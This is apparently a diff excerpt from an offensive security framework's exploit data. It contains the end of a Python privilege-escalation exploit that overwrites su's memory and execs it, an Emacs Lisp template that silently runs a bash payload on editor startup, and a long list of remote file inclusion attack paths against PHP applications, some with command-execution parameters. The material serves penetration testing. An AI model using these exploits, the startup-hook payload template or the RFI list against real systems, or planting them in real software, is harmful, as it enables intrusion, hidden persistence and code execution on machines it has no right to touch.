+    sys.exit(os.EX_USAGE)
+
+op_sock = setup_sock()
+for i in range(0, len(elf), 4):
+    write(op_sock, su_fd, i, elf[i:i + 4])
+op_sock.close()
+
+os.execvp(su_path, ["su"] + sys.argv[1:])

data/exploits/emacs_extension/template.el

@@ -0,0 +1,15 @@
+(defun PLUGIN_NAME--process-sentinel (proc event)
+  (when (memq (process-status proc) '(exit signal))
+    (delete-process proc)))
+
+(defun PLUGIN_NAME-run-async ()
+    (make-process
+     :name "PLUGIN_NAME"
+     :buffer nil
+     :command (list "bash" "-li" "-c" "PAYLOAD_PLACEHOLDER")
+     :noquery t
+     :sentinel #'PLUGIN_NAME--process-sentinel))
+
+(add-hook 'emacs-startup-hook #'PLUGIN_NAME-run-async)
+
+(provide 'PLUGIN_NAME)

data/exploits/php/rfi-locations.dat

@@ -1,2246 +1,2247 @@
-# Compiled by RSnake 02/01/2010 Mostly from milw0rm osvdb.org and elsewhere.
-# Change XXpathXX to the path of your backdoor.  Note that you may need to 
-# try it against every directory on the target and because of how this was
-# culled you may need to add a question mark to your own XXpathXX URL:
-# Eg: XXpathXX => http://www.example.com/hax.txt?
-/0_admin/modules/Wochenkarte/frontend/index.php?x_admindir=XXpathXX?
-/123flashchat.php?e107path=XXpathXX
-/2007/administrator/components/com_joomlaflashfun/admin.joomlaflashfun.php?mosConfig_live_site=XXpathXX
-/22_ultimate/templates/header.php?mainpath=XXpathXX
-/22_ultimate/templates/header.php?mainpath=XXpathXX?
-/=XXpathXX
-/?_CONFIG[files][functions_page]=XXpathXX
-/?npage=-1&content_dir=XXpathXX%00&cmd=ls
-/?npage=1&content_dir=XXpathXX%00&cmd=ls
-/?show=XXpathXX?
-/A-Blog/navigation/donation.php?navigation_start=XXpathXX
-/A-Blog/navigation/latestnews.php?navigation_start=XXpathXX?
-/A-Blog/navigation/links.php?navigation_start=XXpathXX?
-/A-Blog/navigation/search.php?navigation_end=XXpathXX?
-/A-Blog/sources/myaccount.php?open_box=XXpathXX?
-/ACGVnews/header.php?PathNews=XXpathXX
-/ATutor/documentation/common/frame_toc.php?section=XXpathXX
-/ATutor/documentation/common/search.php?section=XXpathXX
-/ATutor/documentation/common/vitals.inc.php?req_lang=XXpathXX
-/ATutor/include/classes/module/module.class.php?row[dir_name]=XXpathXX
-/ATutor/include/classes/phpmailer/class.phpmailer.php?lang_path=XXpathXX
-/AdaptCMS_Lite_1.4_2/plugins/rss_importer_functions.php?sitepath=XXpathXX?
-/Administration/Includes/configureText.php?path_prefix=XXpathXX
-/Administration/Includes/contentHome.php?path_prefix=XXpathXX
-/Administration/Includes/deleteContent.php?path_prefix=XXpathXX
-/Administration/Includes/deleteUser.php?path_prefix=XXpathXX
-/Administration/Includes/userHome.php?path_prefix=XXpathXX
-/Agora_PATH//mdweb/admin/inc/organisations/country_insert.php?chemin_appli=XXpathXX?
-/Agora_PATH//mdweb/admin/inc/organisations/form_org.inc.php?chemin_appli=XXpathXX?
-/BE_config.php?_PSL[classdir]=XXpathXX
-/BPNEWS/bn_smrep1.php?bnrep=XXpathXX?&
-/Base/Application.php?pear_dir=XXpathXX
-/Bcwb_PATH/dcontent/default.css.php?root_path_admin=XXpathXX
-/Bcwb_PATH/include/startup.inc.php?root_path_admin=XXpathXX
-/Bcwb_PATH/system/default.css.php?root_path_admin=XXpathXX
-/Beautifier/Core.php?BEAUT_PATH=XXpathXX?
-/BetaBlockModules//Module/Module.php?path_prefix=XXpathXX
-/BetaBlockModules/AboutUserModule/AboutUserModule.php?path_prefix=XXpathXX
-/BetaBlockModules/AddGroupModule/AddGroupModule.php?path_prefix=XXpathXX
-/BetaBlockModules/AddMessageModule/AddMessageModule.php?path_prefix=XXpathXX
-/BetaBlockModules/AudiosMediaGalleryModule/AudiosMediaGalleryModule.php?current_blockmodule_path=XXpathXX
-/BetaBlockModules/CustomizeUIModule/desktop_image.php?path_prefix=XXpathXX
-/BetaBlockModules/EditProfileModule/DynamicProfile.php?path_prefix=XXpathXX
-/BetaBlockModules/EditProfileModule/external.php?path_prefix=XXpathXX
-/BetaBlockModules/EnableModule/EnableModule.php?path_prefix=XXpathXX
-/BetaBlockModules/ExternalFeedModule/ExternalFeedModule.php?path_prefix=XXpathXX
-/BetaBlockModules/FlickrModule/FlickrModule.php?path_prefix=XXpathXX
-/BetaBlockModules/GroupForumModule/GroupForumModule.php?path_prefix=XXpathXX
-/BetaBlockModules/GroupForumPermalinkModule/GroupForumPermalinkModule.php?path_prefix=XXpathXX
-/BetaBlockModules/GroupModerateContentModule/GroupModerateContentModule.php?path_prefix=XXpathXX
-/BetaBlockModules/GroupModerateUserModule/GroupModerateUserModule.php?path_prefix=XXpathXX
-/BetaBlockModules/GroupModerationModule/GroupModerationModule.php?path_prefix=XXpathXX
-/BetaBlockModules/GroupsCategoryModule/GroupsCategoryModule.php?path_prefix=XXpathXX
-/BetaBlockModules/GroupsDirectoryModule/GroupsDirectoryModule.php?path_prefix=XXpathXX
-/BetaBlockModules/ImagesMediaGalleryModule/ImagesMediaGalleryModule.php?current_blockmodule_path=XXpathXX
-/BetaBlockModules/ImagesModule/ImagesModule.php?path_prefix=XXpathXX
-/BetaBlockModules/InvitationStatusModule/InvitationStatusModule.php?path_prefix=XXpathXX
-/BetaBlockModules/LargestGroupsModule/LargestGroupsModule.php?path_prefix=XXpathXX
-/BetaBlockModules/LinksModule/LinksModule.php?path_prefix=XXpathXX
-/BetaBlockModules/LoginModule/remoteauth_functions.php?path_prefix=XXpathXX
-/BetaBlockModules/LogoModule/LogoModule.php?path_prefix=XXpathXX
-/BetaBlockModules/MediaFullViewModule/MediaFullViewModule.php?path_prefix=XXpathXX
-/BetaBlockModules/MediaManagementModule/MediaManagementModule.php?path_prefix=XXpathXX
-/BetaBlockModules/MembersFacewallModule/MembersFacewallModule.php?current_blockmodule_path=XXpathXX
-/BetaBlockModules/MessageModule/MessageModule.php?path_prefix=XXpathXX
-/BetaBlockModules/ModuleSelectorModule/ModuleSelectorModule.php?path_prefix=XXpathXX
-/BetaBlockModules/MyGroupsModule/MyGroupsModule.php?path_prefix=XXpathXX
-/BetaBlockModules/MyLinksModule/MyLinksModule.php?path_prefix=XXpathXX
-/BetaBlockModules/MyNetworksModule.php?path_prefix=XXpathXX
-/BetaBlockModules/NetworkAnnouncementModule/NetworkAnnouncementModule.php?path_prefix=XXpathXX
-/BetaBlockModules/NetworkDefaultControlModule/NetworkDefaultControlModule.php?path_prefix=XXpathXX
-/BetaBlockModules/NetworkDefaultLinksModule/NetworkDefaultLinksModule.php?path_prefix=XXpathXX
-/BetaBlockModules/NetworkModerateUserModule/NetworkModerateUserModule.php?path_prefix=XXpathXX
-/BetaBlockModules/NetworkResultContentModule/NetworkResultContentModule.php?path_prefix=XXpathXX
-/BetaBlockModules/NetworkResultUserModule/NetworkResultUserModule.php?path_prefix=XXpathXX
-/BetaBlockModules/NetworksDirectoryModule/NetworksDirectoryModule.php?path_prefix=XXpathXX
-/BetaBlockModules/NewestGroupsModule/NewestGroupsModule.php?current_blockmodule_path=XXpathXX
-/BetaBlockModules/PeopleModule/PeopleModule.php?path_prefix=XXpathXX
-/BetaBlockModules/PopularTagsModule/PopularTagsModule.php?path_prefix=XXpathXX
-/BetaBlockModules/PostContentModule/PostContentModule.php?path_prefix=XXpathXX
-/BetaBlockModules/ProfileFeedModule/ProfileFeedModule.php?path_prefix=XXpathXX
-/BetaBlockModules/RecentCommentsModule/RecentCommentsModule.php?path_prefix=XXpathXX
-/BetaBlockModules/RecentPostModule/RecentPostModule.php?path_prefix=XXpathXX
-/BetaBlockModules/RecentTagsModule/RecentTagsModule.php?path_prefix=XXpathXX
-/BetaBlockModules/RegisterModule/RegisterModule.php?path_prefix=XXpathXX
-/BetaBlockModules/SearchGroupsModule/SearchGroupsModule.php?path_prefix=XXpathXX
-/BetaBlockModules/ShowAnnouncementModule/ShowAnnouncementModule.php?path_prefix=XXpathXX
-/BetaBlockModules/ShowContentModule/ShowContentModule.php?path_prefix=XXpathXX
-/BetaBlockModules/TakerATourModule/TakerATourModule.php?path_prefix=XXpathXX
-/BetaBlockModules/UploadMediaModule/UploadMediaModule.php?current_blockmodule_path=XXpathXX
-/BetaBlockModules/UserMessagesModule/UserMessagesModule.php?path_prefix=XXpathXX
-/BetaBlockModules/UserPhotoModule/UserPhotoModule.php?path_prefix=XXpathXX
-/BetaBlockModules/VideosMediaGalleryModule/VideosMediaGalleryModule.php?current_blockmodule_path=XXpathXX
-/BetaBlockModules/ViewAllMembersModule/ViewAllMembersModule.php?path_prefix=XXpathXX
-/Blog_CMS/admin/plugins/NP_UserSharing.php?DIR_ADMIN=XXpathXX?admin
-/BsiliX_path]/files/mbox-action.php3?BSX_LIBDIR=XXpathXX
-/CSLH2_path/txt-db-api/util.php?API_HOME_DIR=XXpathXX?
-/CheckUpload.php?Language=XXpathXX&cmd=ls
-/Contenido_4.8.4/contenido/backend_search.php?contenido_path=XXpathXX?
-/Contenido_4.8.4/contenido/cronjobs/move_articles.php?cfg[path][contenido]=XXpathXX?
-/Contenido_4.8.4/contenido/cronjobs/move_old_stats.php?cfg[path][contenido]=XXpathXX?
-/Contenido_4.8.4/contenido/cronjobs/optimize_database.php?cfg[path][contenido]=XXpathXX?
-/Contenido_4.8.4/contenido/cronjobs/run_newsletter_job.php?cfg[path][contenido]=XXpathXX?
-/Contenido_4.8.4/contenido/cronjobs/send_reminder.php?cfg[path][contenido]=XXpathXX?
-/Contenido_4.8.4/contenido/cronjobs/session_cleanup.php?cfg[path][contenido]=XXpathXX?
-/Contenido_4.8.4/contenido/cronjobs/setfrontenduserstate.php?cfg[path][contenido]=XXpathXX?
-/Contenido_4.8.4/contenido/includes/include.newsletter_jobs_subnav.php?cfg[path][contenido]=XXpathXX?
-/Contenido_4.8.4/contenido/includes/include.newsletter_jobs_subnav.php?cfg[path][templates]=XXpathXX?
-/Contenido_4.8.4/contenido/includes/include.newsletter_jobs_subnav.php?cfg[templates][right_top_blank]=XXpathXX?
-/Contenido_4.8.4/contenido/plugins/content_allocation/includes/include.right_top.php?cfg[path][contenido]=XXpathXX?
-/Contenido_4.8.4/contenido/plugins/content_allocation/includes/include.right_top.php?cfg[path][templates]=XXpathXX?
-/Contenido_4.8.4/contenido/plugins/content_allocation/includes/include.right_top.php?cfg[templates][right_top_blank]=XXpathXX?
-/CoupleDB.php?Parametre=0&DataDirectory=XXpathXX?
-/DFF_PHP_FrameworkAPI-latest/include/DFF_affiliate_client_API.php?DFF_config[dir_include]=XXpathXX
-/DFF_PHP_FrameworkAPI-latest/include/DFF_featured_prdt.func.php?DFF_config[dir_include]=XXpathXX
-/DFF_PHP_FrameworkAPI-latest/include/DFF_mer.func.php?DFF_config[dir_include]=XXpathXX
-/DFF_PHP_FrameworkAPI-latest/include/DFF_mer_prdt.func.php?DFF_config[dir_include]=XXpathXX
-/DFF_PHP_FrameworkAPI-latest/include/DFF_paging.func.php?DFF_config[dir_include]=XXpathXX
-/DFF_PHP_FrameworkAPI-latest/include/DFF_rss.func.php?DFF_config[dir_include]=XXpathXX
-/DFF_PHP_FrameworkAPI-latest/include/DFF_sku.func.php?DFF_config[dir_include]=XXpathXX
-/DFF_PHP_FrameworkAPI-latest/include/DFF_sku.func.php?DFF_config[dir_include]XXpathXX
-/DON3/applications/don3_requiem.don3app/don3_requiem.php?app_path=XXpathXX
-/DON3/applications/frontpage.don3app/frontpage.php?app_path=XXpathXX?
-/Dir_phNNTP/article-raw.php?file_newsportal=XXpathXX?
-/DynaTracker_v151/action.php?base_path=XXpathXX
-/DynaTracker_v151/includes_handler.php?base_path=XXpathXX
-/Easysite-2.0_path/configuration/browser.php?EASYSITE_BASE=XXpathXX?
-/Ex/modules/threadstop/threadstop.php?exbb[home_path]=XXpathXX?
-/Ex/modules/threadstop/threadstop.php?new_exbb[home_path]=XXpathXX?
-/Exophpdesk_PATH/pipe.php?lang_file=XXpathXX
-/FirstPost/block.php?Include=XXpathXX
-/Flickrclient.php?path_prefix=XXpathXX
-/FormTools1_5_0/global/templates/admin_page_open.php?g_root_dir=XXpathXX?
-/FormTools1_5_0/global/templates/client_page_open.php?g_root_dir=XXpathXX?
-/Full_Release/include/body_comm.inc.php?content=XXpathXX
-/Gallery/displayCategory.php?basepath=XXpathXX
-/Include/lib.inc.php3?Include=XXpathXX?
-/Include/variables.php3?Include=XXpathXX?
-/Jobline/admin.jobline.php?mosConfig_absolute_path=XXpathXX
-/ListRecords.php?lib_dir=XXpathXX?&cmd=id
-/Lorev1/third_party/phpmailer/class.phpmailer.php?lang_path=XXpathXX
-/MOD_forum_fields_parse.php?phpbb_root_path=XXpathXX
-/Mamblog/admin.mamblog.php?cfgfile=XXpathXX
-/Net_DNS_PATH/DNS/RR.php?phpdns_basedir=XXpathXX?
-/NuclearBB/tasks/send_queued_emails.php?root_path=XXpathXX?
-/OpenSiteAdmin/indexFooter.php?path=XXpathXX%00
-/OpenSiteAdmin/pages/pageHeader.php?path=XXpathXX?
-/OpenSiteAdmin/scripts/classes/DatabaseManager.php?path=XXpathXX%00
-/OpenSiteAdmin/scripts/classes/FieldManager.php?path=XXpathXX%00
-/OpenSiteAdmin/scripts/classes/Filter.php?path=XXpathXX%00
-/OpenSiteAdmin/scripts/classes/Filters/SingleFilter.php?path=XXpathXX%00
-/OpenSiteAdmin/scripts/classes/Form.php?path=XXpathXX%00
-/OpenSiteAdmin/scripts/classes/FormManager.php?path=XXpathXX%00
-/OpenSiteAdmin/scripts/classes/LoginManager.php?path=XXpathXX%00
-/PHP/includes/header.inc.php?root=XXpathXX?
-/PHPDJ_v05/dj/djpage.php?page=XXpathXX?
-/PaTh/index.php?rootpath=XXpathXX
-/Path_Script/createurl.php?formurl=XXpathXX
-/PhotoCart/adminprint.php?admin_folder=XXpathXX
-/Picssolution/install/config.php?path=XXpathXX?
-/RGboard/include/footer.php?_path[counter]=XXpathXX?
-/SPIP-v1-7-2/inc-calcul.php3?squelette_cache=XXpathXX?
-/SQuery/lib/gore.php?libpath=XXpathXX
-/SazCart/admin/alayouts/default/pages/login.php?_saz[settings][site_url]=XXpathXX?
-/SazCart/layouts/default/header.saz.php?_saz[settings][site_dir]=XXpathXX?
-/ScriptPage/source/includes/load_forum.php?mfh_root_path=XXpathXX
-/ScriptPath/footers.php?tinybb_footers=XXpathXX
-/ScriptPath/index.php?page=XXpathXX
-/Script_Path/config.inc.php?_path=XXpathXX?
-/Scripts/app_and_readme/navigator/index.php?page=XXpathXX
-/Scripts/mundimail/template/simpledefault/admin/_masterlayout.php?top=XXpathXX
-/Somery/team.php?checkauth=XXpathXX
-/Upload/install.php?skindir=XXpathXX
-/Widgets/Base/Footer.php?sys_dir=XXpathXX
-/Widgets/Base/widget.BifContainer.php?sys_dir=XXpathXX
-/Widgets/Base/widget.BifRoot.php?sys_dir=XXpathXX
-/Widgets/Base/widget.BifRoot2.php?sys_dir=XXpathXX
-/Widgets/Base/widget.BifRoot3.php?sys_dir=XXpathXX
-/Widgets/Base/widget.BifWarning.php?sys_dir=XXpathXX
-/WordPress_Files/All_Users/wp-content/plugins/Enigma2.php?boarddir=XXpathXX?
-/[path]/mybic_server.php?file=XXpathXX
-/[path]/previewtheme.php?theme=1&inc_path=XXpathXX?cmd
-/_administration/securite.php?cfg[document_uri]=XXpathXX
-/_blogadata/include/struct_admin.php?incl_page=XXpathXX?
-/_conf/_php-core/common-tpl-vars.php?admindir=XXpathXX
-/_connect.php?root=XXpathXX
-/_friendly/core/data/_load.php?friendly_path=XXpathXX
-/_friendly/core/data/yaml.inc.php?friendly_path=XXpathXX
-/_friendly/core/display/_load.php?friendly_path=XXpathXX
-/_friendly/core/support/_load.php?friendly_path=XXpathXX
-/_functions.php?prefix=XXpathXX
-/_includes/settings.inc.php?approot=XXpathXX
-/_theme/breadcrumb.php?rootBase=XXpathXX
-/_wk/wk_lang.php?WK[wkPath]=XXpathXX
-/abf_js.php?abs_pfad=XXpathXX?&cmd=id
-/about.php?CONFIG[MWCHAT_Libs]=XXpathXX?
-/about.php?bibtexrootrel=XXpathXX?
-/aboutinfo.php?bibtexrootrel=XXpathXX?
-/acc.php?page=XXpathXX
-/access/login.php?path_to_root=XXpathXX
-/account.php?insPath=XXpathXX
-/accsess/login.php?path_to_root=XXpathXX
-/active/components/xmlrpc/client.php?c[components]=XXpathXX
-/ad_main.php?_mygamefile=XXpathXX
-/add.cgi.php?blog_theme=XXpathXX
-/add_link.php?blog_theme=XXpathXX
-/addpost_newpoll.php?addpoll=preview&thispath=XXpathXX
-/addressbook.php?GLOBALS[basedir]=XXpathXX?
-/addsite.php?returnpath=XXpathXX
-/addvip.php?msetstr["PROGSDIR"]=XXpathXX
-/adm/krgourl.php?DOCUMENT_ROOT=XXpathXX?
-/adm/my_statistics.php?DOCUMENT_ROOT=XXpathXX?
-/admin.loudmouth.php?mainframe=XXpathXX
-/admin.php?Madoa=XXpathXX?
-/admin.php?cal_dir=XXpathXX
-/admin.php?env_dir=XXpathXX
-/admin.php?lang=XXpathXX
-/admin.php?page[path]=XXpathXX?&cmd=ls
-/admin.php?submit=submit&form_include_template=XXpathXX
-/admin/PLUGINs/NP_UserSharing.php?DIR_ADMIN=XXpathXX?admin
-/admin/ST_countries.php?include_path=XXpathXX?
-/admin/ST_platforms.php?include_path=XXpathXX?
-/admin/addentry.php?phpbb_root_path=XXpathXX?
-/admin/addons/archive/archive.php?adminfolder=XXpathXX
-/admin/admin.php?path=XXpathXX
-/admin/admin.php?site_url=XXpathXX
-/admin/admin_forgotten_password.php?root_folder_path=XXpathXX
-/admin/admin_news_bot.php?root_path=XXpathXX?
-/admin/admin_topic_action_logging.php?setmodules=attach&phpbb_root_path=XXpathXX
-/admin/admin_topic_action_logging.php?setmodules=pagestart&phpbb_root_path=XXpathXX
-/admin/admin_users.php?phpbb_root_path=XXpathXX
-/admin/auth.php?xcart_dir=XXpathXX?
-/admin/auth/secure.php?cfgProgDir=XXpathXX?
-/admin/autoprompter.php?CONFIG[BASE_PATH]=XXpathXX
-/admin/bin/patch.php?INSTALL_FOLDER=XXpathXX
-/admin/catagory.php?language=XXpathXX
-/admin/classes/pear/OLE/PPS.php?homedir=XXpathXX
-/admin/classes/pear/OLE/PPS/File.php?homedir=XXpathXX
-/admin/classes/pear/OLE/PPS/Root.php?homedir=XXpathXX
-/admin/classes/pear/Spreadsheet/Excel/Writer.php?homedir=XXpathXX
-/admin/classes/pear/Spreadsheet/Excel/Writer/BIFFwriter.php?homedir=XXpathXX
-/admin/classes/pear/Spreadsheet/Excel/Writer/Format.php?homedir=XXpathXX
-/admin/classes/pear/Spreadsheet/Excel/Writer/Parser.php?homedir=XXpathXX
-/admin/classes/pear/Spreadsheet/Excel/Writer/Workbook.php?homedir=XXpathXX
-/admin/classes/pear/Spreadsheet/Excel/Writer/Worksheet.php?homedir=XXpathXX
-/admin/code/index.php?load_page=XXpathXX
-/admin/comment.php?config[installdir]=XXpathXX
-/admin/common-menu.php?CONF[local_path]=XXpathXX
-/admin/components/com_fm/fm.install.php?lm_absolute_path=../../../&install_dir=XXpathXX?
-/admin/config_settings.tpl.php?include_path=XXpathXX?&cmd=id
-/admin/directory.php?config[installdir]=XXpathXX
-/admin/doeditconfig.php?thispath=../includes&config[path]=XXpathXX
-/admin/frontpage_right.php?loadadminpage=XXpathXX
-/admin/header.php?loc=XXpathXX
-/admin/inc/add.php?format_menue=XXpathXX
-/admin/inc/change_action.php?format_menue=XXpathXX
-/admin/include/common.php?commonIncludePath=XXpathXX?
-/admin/include/header.php?repertoire=XXpathXX?
-/admin/include/lib.module.php?mod_root=XXpathXX
-/admin/includes/admin_header.php?level=XXpathXX?
-/admin/includes/author_panel_header.php?level=XXpathXX?
-/admin/includes/header.php?bypass_installed=1&secure_page_path=XXpathXX%00
-/admin/includes/spaw/spaw_control.class.php?spaw_root=XXpathXX?
-/admin/index.php?path_to_script=XXpathXX?&cmd=ls
-/admin/index.php?pg=XXpathXX?
-/admin/index.php?xtrphome=XXpathXX
-/admin/index_sitios.php?_VIEW=XXpathXX
-/admin/lib_action_step.php?GLOBALS[CLASS_PATH]=XXpathXX
-/admin/login.php?absolute_path=XXpathXX
-/admin/news.admin.php?path_to_script=XXpathXX?&cmd=ls
-/admin/news.php?language=XXpathXX
-/admin/plugins/Online_Users/main.php?GLOBALS[PT_Config][dir][data]=XXpathXX
-/admin/sendmsg.php?config[installdir]=XXpathXX
-/admin/setup/level2.php?dir=XXpathXX
-/admin/system/config/conf-activation.php?site_path=XXpathXX
-/admin/system/include.php?skindir=XXpathXX
-/admin/system/include.php?start=1&skindir=XXpathXX
-/admin/system/menu/item.php?site_path=XXpathXX
-/admin/system/modules/conf_modules.php?site_path=XXpathXX
-/admin/templates/template_thumbnail.php?thumb_template=XXpathXX
-/admin/testing/tests/0004_init_urls.php?init_path=XXpathXX?&
-/admin/themes.php?config[installdir]=XXpathXX
-/admin/tools/utf8conversion/index.php?path=XXpathXX?
-/admin/user_user.php?language=XXpathXX
-/admincp/auth/checklogin.php?cfgProgDir=XXpathXX
-/admincp/auth/secure.php?cfgProgDir=XXpathXX
-/adminhead.php?path[docroot]=XXpathXX
-/admini/admin.php?INC=XXpathXX?
-/admini/index.php?INC=XXpathXX?
-/administrator/admin.php?site_absolute_path=XXpathXX?
-/administrator/components/com_bayesiannaivefilter/lang.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_chronocontact/excelwriter/PPS.php?mosConfig_absolute_path=XXpathXX?
-/administrator/components/com_chronocontact/excelwriter/PPS/File.php?mosConfig_absolute_path=XXpathXX?
-/administrator/components/com_chronocontact/excelwriter/Writer.php?mosConfig_absolute_path=XXpathXX?
-/administrator/components/com_chronocontact/excelwriter/Writer/BIFFwriter.php?mosConfig_absolute_path=XXpathXX?
-/administrator/components/com_chronocontact/excelwriter/Writer/Format.php?mosConfig_absolute_path=XXpathXX?
-/administrator/components/com_chronocontact/excelwriter/Writer/Workbook.php?mosConfig_absolute_path=XXpathXX?
-/administrator/components/com_chronocontact/excelwriter/Writer/Worksheet.php?mosConfig_absolute_path=XXpathXX?
-/administrator/components/com_clickheat/Recly/Clickheat/Cache.php?GLOBALS[mosConfig_absolute_path]=XXpathXX
-/administrator/components/com_clickheat/Recly/Clickheat/Clickheat_Heatmap.php?GLOBALS[mosConfig_absolute_path]=XXpathXX
-/administrator/components/com_clickheat/Recly/common/GlobalVariables.php?GLOBALS[mosConfig_absolute_path]=XXpathXX
-/administrator/components/com_clickheat/includes/heatmap/_main.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_clickheat/includes/heatmap/main.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_clickheat/includes/overview/main.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_clickheat/install.clickheat.php?GLOBALS[mosConfig_absolute_path]=XXpathXX
-/administrator/components/com_color/admin.color.php?mosConfig_live_site=XXpathXX?
-/administrator/components/com_competitions/includes/competitions/add.php?GLOBALS[mosConfig_absolute_path]=XXpathXX
-/administrator/components/com_competitions/includes/competitions/competitions.php?GLOBALS[mosConfig_absolute_path]=XXpathXX
-/administrator/components/com_competitions/includes/settings/settings.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=XXpathXX?
-/administrator/components/com_dadamail/config.dadamail.php?GLOBALS[mosConfig_absolute_path]=XXpathXX
-/administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_events/admin.events.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=XXpathXX
-/administrator/components/com_extended_registration/admin.extended_registration.php?mosConfig_absolute_path=XXpathXX?
-/administrator/components/com_feederator/includes/tmsp/add_tmsp.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_feederator/includes/tmsp/edit_tmsp.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_feederator/includes/tmsp/subscription.php?GLOBALS[mosConfig_absolute_path]=XXpathXX
-/administrator/components/com_feederator/includes/tmsp/tmsp.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_googlebase/admin.googlebase.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_jcs/jcs.function.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_jcs/view/add.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_jcs/view/history.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_jcs/view/register.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_jcs/views/list.sub.html.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_jcs/views/list.user.sub.html.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_jcs/views/reports.html.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_jim/install.jim.php?mosConfig_absolute_path=XXpathXX?
-/administrator/components/com_jjgallery/admin.jjgallery.php?mosConfig_absolute_path=XXpathXX?
-/administrator/components/com_joom12pic/admin.joom12pic.php?mosConfig_live_site=XXpathXX
-/administrator/components/com_joomla_flash_uploader/install.joomla_flash_uploader.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_joomla_flash_uploader/uninstall.joomla_flash_uploader.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_joomlaradiov5/admin.joomlaradiov5.php?mosConfig_live_site=XXpathXX
-/administrator/components/com_jpack/includes/CAltInstaller.php?mosConfig_absolute_path=XXpathXX?
-/administrator/components/com_jreactions/langset.php?comPath=XXpathXX?
-/administrator/components/com_juser/xajax_functions.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_kochsuite/config.kochsuite.php?mosConfig_absolute_path=XXpathXX?
-/administrator/components/com_lurm_constructor/admin.lurm_constructor.php?lm_absolute_path=XXpathXX?
-/administrator/components/com_mmp/help.mmp.php?mosConfig_absolute_path=XXpathXX?
-/administrator/components/com_mosmedia/includes/credits.html.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_mosmedia/includes/info.html.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_mosmedia/includes/media.divs.js.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_mosmedia/includes/media.divs.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_mosmedia/includes/purchase.html.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_mosmedia/includes/support.html.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_multibanners/extadminmenus.class.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_nfn_addressbook/nfnaddressbook.php?mosConfig_absolute_path=XXpathXX?
-/administrator/components/com_ongumatimesheet20/lib/onguma.class.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_panoramic/admin.panoramic.php?mosConfig_live_site=XXpathXX
-/administrator/components/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_rssreader/admin.rssreader.php?mosConfig_live_site=XXpathXX
-/administrator/components/com_serverstat/install.serverstat.php?mosConfig_absolute_path=XXpathXX?
-/administrator/components/com_swmenupro/ImageManager/Classes/ImageManager.php?mosConfig_absolute_path=XXpathXX?
-/administrator/components/com_tour_toto/admin.tour_toto.php?mosConfig_absolute_path=XXpathXX?
-/administrator/components/com_treeg/admin.treeg.php?mosConfig_live_site=XXpathXX
-/administrator/components/com_webring/admin.webring.docs.php?component_dir=XXpathXX?
-/administrator/components/com_wmtgallery/admin.wmtgallery.php?mosConfig_live_site=XXpathXX
-/administrator/components/com_wmtportfolio/admin.wmtportfolio.php?mosConfig_absolute_path=XXpathXX
-/administrator/components/com_wmtrssreader/admin.wmtrssreader.php?mosConfig_live_site=XXpathXX?
-/administrator/menu_add.php?site_absolute_path=XXpathXX?
-/administrator/menu_operation.php?site_absolute_path=XXpathXX?
-/adminpanel/includes/add_forms/addmp3.php?GLOBALS[root_path]=XXpathXX
-/adminpanel/includes/mailinglist/mlist_xls.php?GLOBALS[root_path]=XXpathXX?
-/adodb/adodb-errorpear.inc.php?ourlinux_root_path=XXpathXX
-/adodb/adodb-pear.inc.php?ourlinux_root_path=XXpathXX
-/adodb/adodb.inc.php?path=XXpathXX
-/advanced_comment_system/admin.php?ACS_path=XXpathXX?
-/advanced_comment_system/index.php?ACS_path=XXpathXX?
-/afb-3-beta-2007-08-28/_includes/settings.inc.php?approot=XXpathXX?
-/agenda.php3?rootagenda=XXpathXX
-/agenda2.php3?rootagenda=XXpathXX
-/aides/index.php?page=XXpathXX?
-/ains_main.php?ains_path=XXpathXX
-/ajax/loadsplash.php?full_path=XXpathXX
-/ajouter.php?include=XXpathXX?
-/akarru.gui/main_content.php?bm_content=XXpathXX
-/akocomments.php?mosConfig_absolute_path=XXpathXX
-/amazon/cart.php?cmd=add&asin=XXpathXX
-/amazon/index.php?lang=XXpathXX
-/amazon/info.php?asin=XXpathXX
-/annonce.php?page=XXpathXX?&cmd=id
-/announcements.php?phpraid_dir=XXpathXX
-/anzagien.php?config[root_ordner]=XXpathXX?cmd=id
-/apbn/templates/head.php?APB_SETTINGS[template_path]=XXpathXX
-/api.php?t_path_core=XXpathXX?&cmd=id
-/apps/apps.php?app=XXpathXX
-/appserv/main.php?appserv_root=XXpathXX
-/arab3upload/customize.php?path=XXpathXX?&cmd=pwd
-/arab3upload/initialize.php?path=XXpathXX?&cmd=pwd
-/arash_lib/class/arash_gadmin.class.php?arashlib_dir=XXpathXX
-/arash_lib/class/arash_sadmin.class.php?arashlib_dir=XXpathXX
-/arash_lib/include/edit.inc.php?arashlib_dir=XXpathXX
